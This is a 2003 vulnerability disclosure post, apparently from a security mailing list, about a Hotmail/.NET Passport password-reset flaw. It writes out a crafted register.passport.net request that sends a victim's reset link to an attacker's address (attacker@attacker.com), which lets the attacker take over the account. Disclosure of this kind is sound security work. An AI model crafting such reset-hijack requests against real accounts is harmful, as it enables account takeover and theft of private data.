Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail / =
Passport=E2=80=99s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact addresse=
s, but always met with the NLP bots.

I guess I don=E2=80=99t need to go in details of how cruical and important =
Hotmail / Passport=E2=80=99s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal =
Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailp...Dvictim@hotma=
il.com&id=3D&cb=3D&prefem=3Dattacker@attacker.com& rst=3D1

And you=E2=80=99ll get an email on attacker@attacker.com asking you to clic=
k on a url something like this:

http://register.passport.net/EmailPa...4D9ABC6&URLNu=
m=3D0&lc=3D1033

From that url, you can reset the password and I don=E2=80=99t think I need =
to say anything more about it.

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times =
is concerned)


Regards
--------
Muhammad Faisal Rauf Danka

__________________________________________________ ___________
---------------------------
[ATTITUDEX.COM]
http://www.attitudex.com/
---------------------------

__________________________________________________ ___________
Select your own custom email address for FREE! Get you@yourchoice.com w/No =
Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=3Dtag